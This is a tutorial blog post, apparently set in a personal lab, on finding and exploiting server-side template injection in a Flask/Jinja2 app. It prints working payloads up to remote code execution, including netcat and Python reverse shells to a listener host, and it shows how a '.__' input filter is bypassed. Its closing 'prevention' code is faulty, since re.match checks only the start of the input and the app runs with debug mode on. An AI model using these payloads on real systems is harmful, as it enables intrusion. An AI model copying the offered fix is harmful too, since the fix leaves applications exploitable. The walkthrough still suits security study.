What is template engine and its uses
A template engine is a tool to generate dynamic content in web applications, configuration files or any other text based documents. The template engine is not limited to building dynamic web content it is also used for network automation such as Ansible (see: https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_templating.html).
Dynamic Content Generation: Template engine allows you to embed placeholders in your templates. These placeholders are replaced with actual data when the template is rendered, the actual data could be the input of an user the user input is then rendered and filled up to the placeholders.
Template Reusability: In the context of web development, developers can design template of footers, headers, and navigation menus and reuse them across multiple web pages.
Template inheritance: Template engine such as Jinja2 allows template to be inherited and example a template which inherits the elements of example.html will look like this
{% extends "example.html" %}
In this post, I will be using Jinja2 template engine.
Jinja2 delimiters
Delimiter is a "container" where we can put in our expressions or variable names, this is used for as a placeholder in template.
{{ ... }}
for expressions such as{{ variable_name }}
{% ... % }
for statements such as:
{% if myvar == another_var %}
{{ place_something_here }}
{% endif %}
{# ... #}
for comments.# ...
for line statement act the same as{% ... % }
such as# if myvar == another_var
is the same as{% if myvar == another_var %}
Server Side Template Injection (SSTI) discovery
The Portswigger's SSTI diagram is very good for testing SSTI, start from something simple such as multiplication {{ 7*7 }}
if the result 49
is displayed on the output then the server has evaluated the placeholder, but can I do more than just mathematical operation? It will be a rabbit hole if I cannot exploit beyond just counting right?
In this post I have a very vulnerable server which takes in user input and display on the web, there are no checks so we can easily proceed to see how far we can exploit the SSTI vulnerability.
Exploiting SSTI vulnerability
Below is the python code for the web application:
from flask import render_template_string, request, Flask
app = Flask(__name__)
@app.route('/')
def index():
if request.args.get("text"):
return render_template_string(request.args.get("text"))
else:
return "Use http://<ip>:5000/?text=write_anything_here"
if __name__ == "__main__":
app.run()
The application looks like this:
I put /?text=hello
Always test with the simplest payload such as {{7*7}}
, if the result is 49
then there is a SSTI vulnerability, but we need to get beyond just mathematical operation, we need to attempt if we can gain Remote Code Execution (RCE).
PayloadsAllTheThings has a very good methodology and testing methods.
Now before we try the payloads on PayloadsAllTheThings we need to understand some terminologies of python.
As observed from the code the web application is built using Flask, and Flask is a python web framework which uses Jinja2 as template engine.
Python Attributes: __class__
__class__
display which class the instance belongs to, an instance can be self
which in this context is jinja2
, can be a string, tuple, dict or list.
Examples:
Python Attributes: __base__
__base__
is the parent class, by doing ''.__class__.__base__
we know that the string class is inherited from objectclass. If the instance is inherited from more than one parent class, then the __base__
will display a tuple of parent classes. A tuple in Python's context is an ordered and immutable (unchangeable) collection which is presented by ().
Python Attributes: __mro__
Python supports class inheritance, the class that is inherited from parent (superclass) class is known as the child (subclass), in order for Python to execute the method the method resolution order defines the order in which the python will search from the base classes.
An example:
class A:
def info(self):
print("A is called.")
class B:
def info(self):
print("B is called.")
class C(A, B):
pass
d = C()
d.info()
Output:
class A:
def info(self):
print("A is called.")
class B:
def info(self):
print("B is called.")
class C(B, A):
pass
d = C()
d.info()
Output:
class A:
def info(self):
print("A is called.")
class B:
def info(self):
print("B is called.")
class C(B, A):
pass
d = C()
d.info()
Output:
Class C inherits from A and B, and both A and B have the same method, python uses MRO and determines that the order to look up for the info
method should be left to right, see above the difference in output between class C(A,B)
and class C(B,A)
.
Another example:
class A:
def info(self):
print("A is called.")
class B:
def info(self):
print("B is called.")
def only_b(self):
print("B2 is called")
class C(B, A):
pass
d = C()
d.only_b()
Output:
Python looks up the only_b
method with MRO and found that the method exists in class B
.
The MRO returns a tuple of classes, hence we need to use []
to define the position of the class.
Python Attributes: __subclasses__()
Returns a list of subclasses of the superclass, an example if I want to find out the subclasses of superclass object:
A list is an unordered list hence every time the class instantiates the position of the subclasses will change.
To have useful exploit we should be interested in looking up the subclass subprocess.Popen
which spawns command as a process. Looking at the subclasses it is massive and hard to find subprocess.Popen
.
A method is to use Visual Studio Code and copy the entire output then use CTRL + H to do find and replace, first we find ,
then replace with SHIFT + ENTER on your keyboard.
Unfortunately the object class I do not see subprocess
subclass, so suppose I want to use the class type
and the position is the first of the list:
[].__class__.__mro__[1].__subclasses__()[0]("what is this type")
Start exploiting!
We shall try the simplest form of the payload, then increase it gradually, this is to understand what will or will not be evaluated.
This is an indication that there is a SSTI vulnerability, but can I exploit beyond mathematical operation?
{{self.__class__}}
{{self.__class__.__mro__[0].__subclasses__()}}
So the jinja2.runtime.TemplateReference
got no other subclasses.
{{self.__class__.__mro__[1].__subclasses__()}}
But the object class has no subprocess classes at all...
There are no os and subprocess hence I could not execute any commands..., but there are still other ways!
{{self.__init__.__globals__}}
__globals__ is a dictionary that holds global variables. In here we need to look for __import__
which can import python modules such as os
and subprocess
...
We can test it with os
module system
method which can be used to execute command.
But unfortunately it seems this is not correct.{{self.__init__.__globals__.__import__('os').system("/usr/bin/touch /tmp/test.txt")}}
I cannot access the __import__
just like the above but we can do it like this:{{self.__init__.__globals__.__builtins__.__import__('os').system("/usr/bin/touch /tmp/test.txt")}}
__builtins__
is a special module that contains all python built in functions, which __import__
is a built in function.
When I do not see Internal Server Error it is most likely successful.
Now I will try a simple nc 172.16.202.130 4444 -e /usr/bin/bash
{{self.__init__.__globals__.__builtins__.__import__('os').system("nc 172.16.202.130 4444 -e /usr/bin/bash")}}
Sanitise the input
We used the python attributes to exploit SSTI until RCE, this time my code checks for .__
which should stop SSTI exploitation right? right? I mean RIGHT?
from flask import render_template_string, request, Flask
app = Flask(__name__)
@app.route('/')
def index():
if request.args.get("text"):
txt = request.args.get("text")
if ".__" in txt:
return "Illegal template!"
else:
return render_template_string(txt)
else:
return "Use http://127.0.0.1:5000/?text=write_anything_here"
if __name__ == "__main__":
app.run()
Yeah, it seems to stop the SSTI... but really?
Understanding filters in Jinja2
Jinja2 builtin filters is a good reference to start.
The builtin filter attr()
return an attribute of an object, so for instance self.__init__
we can call it by self|attr("__init__")
you realize I have already bypass the .__
.
Bypass the check and exploit it!
{{self|attr("__class__")}}
Then gradually increase the complexity of the payload to test further.{{self|attr("__init__")}}
{{self|attr("__init__")|attr("__globals__")}}
Using the command injection payload will look like this with builtin filters:{{self|attr("__init__")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os").system("/usr/bin/touch /tmp/bypass_test.txt")}}
{{self|attr("__init__")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os")|attr("system")('/usr/bin/touch /tmp/bypass_test.txt')}}
It seems that in this context I cannot refer to the attribute under builtins
.
But when I worked backwards there is no attribute error.
So I tried another payload, and not using builtin __import__
instead I use exec
which according to the toppr exec
is used to execute python syntax. So by calling exec
from builtins
I can easily execute python syntax for reverse shell.
Instead of attr()
I use ['...']
which works exactly the same.
{{self['__init__']['__globals__']['__builtins__']['exec']('import os; os.system("/usr/bin/touch /tmp/bypass_test.txt")')}}
{{self['__init__']['__globals__']['__builtins__']['exec']('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.202.130",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'')}}
Preventing SSTI
Initially the web app has no checking on text, and hence python attributes can be called easily without restriction, a check on .__
prevents attributes to be called directly, however this is not enough there are ways to bypass the checking.
Checking .__
is insufficient, in fact if my web app does not expect special characters which invokes Jinja2 rendering then I should filter all of them.
A simple way to solve this is to use regular expression to detect unintended characters in your web application. Here is my improvement:
from flask import render_template_string, request, Flask
import re
app = Flask(__name__)
@app.route('/')
def index():
if request.args.get("text"):
txt = request.args.get("text")
if re.match(r"\W+", txt):
return "Illegal template!"
else:
return render_template_string(txt)
else:
return "Use http://127.0.0.1:5000/?text=write_anything_here"
if __name__ == "__main__":
app.run(debug=True)
In my checking, if there is at least one character that is neither number nor word I will block it.
Here are the results after I put in the check.